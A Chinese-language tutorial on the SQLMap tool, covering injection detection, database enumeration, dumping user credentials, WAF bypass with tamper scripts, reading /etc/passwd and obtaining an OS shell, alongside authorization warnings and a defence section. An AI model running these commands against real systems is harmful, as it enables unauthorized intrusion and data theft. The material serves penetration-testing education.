SQLMap 自动化注入
《常见 Web 漏洞》讲了 SQL 注入的原理和手工注入,这篇专门讲自动化神器 SQLMap:它能自动探测注入点、识别数据库类型、枚举库表字段、拖取数据,甚至在条件允许时拿到操作系统 shell。掌握它能把重复的注入工作自动化,但也要理解它每一步在做什么,避免无脑一把梭。
SQLMap 是高危工具,
--dump、--os-shell 等操作影响巨大,只能在授权目标或自建靶场(如 DVWA、sqli-labs)使用。--batch 会自动确认所有提示,用前务必清楚每步后果。SQLMap 能做什么
SQLMap 把 SQL 注入的完整利用链自动化:
- 探测:判断参数是否可注入,识别注入类型(布尔盲注、时间盲注、报错、UNION、堆叠)。
- 指纹:识别 DBMS 类型与版本(MySQL/PostgreSQL/MSSQL/Oracle 等)。
- 枚举:库 → 表 → 字段 → 数据,逐层拖取。
- 进阶:读写文件、执行命令、获取 shell(权限足够时)。
它支持五大注入技术,缩写为 BEUST:Boolean 盲注、Error 报错、UNION 联合、Stacked 堆叠、Time 时间盲注。
基础:探测注入点
# 最简单:测试 GET 参数 id 是否可注入
sqlmap -u "http://target.com/vuln.php?id=1"
# 加 --batch 自动用默认选项回答所有交互提示,适合自动化
sqlmap -u "http://target.com/vuln.php?id=1" --batch
# 指定要测试的参数(多参数时聚焦一个)
sqlmap -u "http://target.com/vuln.php?id=1&cat=2" -p id探测成功后 SQLMap 会报告注入点、可用技术和后端 DBMS 版本。
处理 POST、Cookie 与认证请求
真实场景的注入点常在 POST 体、Cookie 或需要登录后才能访问,SQLMap 都支持:
# POST 数据
sqlmap -u "http://target.com/login.php" --data="username=admin&password=x" -p username
# 带 Cookie(已登录会话)
sqlmap -u "http://target.com/profile.php?id=1" --cookie="PHPSESSID=abcd1234"
# 测试 Cookie 里的参数 / 其它位置(用 * 标记注入点)
sqlmap -u "http://target.com/profile.php?id=1" --cookie="uid=1*"最省事的方式:用 Burp Suite 把目标请求保存为文件(右键 Save item),再
sqlmap -r request.txt。这样请求头、Cookie、POST 体全都原样带上,不用手动拼参数。需要指定注入点时在请求里用 * 标记。# 直接用保存的原始请求文件
sqlmap -r request.txt -p id --batch枚举数据:库 → 表 → 字段 → 数据
确认可注入后,按层级逐步拖取。这是 SQLMap 最常用的部分:
# 1. 列出所有数据库
sqlmap -u "http://target.com/vuln.php?id=1" --dbs --batch
# 2. 列出指定库的所有表
sqlmap -u "http://target.com/vuln.php?id=1" -D appdb --tables --batch
# 3. 列出指定表的字段
sqlmap -u "http://target.com/vuln.php?id=1" -D appdb -T users --columns --batch
# 4. 拖取指定字段的数据
sqlmap -u "http://target.com/vuln.php?id=1" \
-D appdb -T users -C "username,password,email" --dump --batch
# 拖取整张表
sqlmap -u "http://target.com/vuln.php?id=1" -D appdb -T users --dump --batch其它常用枚举开关:--current-db(当前库)、--current-user(当前用户)、--is-dba(是否 DBA 权限)、--passwords(DBMS 用户密码哈希)。
调节探测强度与绕过防护
默认探测较保守,可调高强度或加绕过手段:
# --level(1-5) 提高测试范围(含 Cookie/Header),--risk(1-3) 提高 payload 风险等级
sqlmap -u "http://target.com/vuln.php?id=1" --level=5 --risk=3 --batch
# 指定只用某种注入技术(T=时间盲注),减少噪音
sqlmap -u "http://target.com/vuln.php?id=1" --technique=T --batch
# 用 tamper 脚本绕过 WAF(如对关键字做编码/变形)
sqlmap -u "http://target.com/vuln.php?id=1" \
--tamper=space2comment,between,randomcase --batch
# 降低请求频率,规避限速/检测
sqlmap -u "http://target.com/vuln.php?id=1" --delay=1 --random-agent --batch--level 越高测试的位置越多(5 会测 Cookie、User-Agent、Referer 等),--risk 越高使用越激进的 payload。tamper 脚本在 /usr/share/sqlmap/tamper/,针对不同 WAF 选不同组合。
高危进阶(仅授权环境)
权限足够时 SQLMap 可越过数据层直接打到系统层:
# 读取服务器文件
sqlmap -u "http://target.com/vuln.php?id=1" --file-read="/etc/passwd" --batch
# 尝试获取交互式系统 shell(需要高权限 + 满足条件)
sqlmap -u "http://target.com/vuln.php?id=1" --os-shell --batch
# 获取 SQL shell 直接执行任意查询
sqlmap -u "http://target.com/vuln.php?id=1" --sql-shell --batch--os-shell / --file-write 会向目标写入文件、执行系统命令,属于实打实的入侵行为,任何未授权使用都是犯罪。这类操作即使在授权测试中也要事先与客户确认,避免影响生产系统。防御视角
SQLMap 再强,面对正确防御也无能为力,根治手段和手工注入完全一致:
- 参数化查询 / 预编译语句:从根本上杜绝 SQL 拼接,这是唯一彻底的修复。
- 最小权限数据库账号:Web 账号不给
FILE、DBA权限,--os-shell、--file-read直接失效。 - 关闭详细报错回显:报错注入依赖数据库错误信息泄露,生产环境关掉。
- WAF + 输入校验:能拦截大量自动化 payload,提高
--tamper绕过成本(属纵深防御,不能替代参数化)。 - 监控异常:SQLMap 默认 UA、海量带特征的请求很容易被检测,配合限速封禁。
最后更新于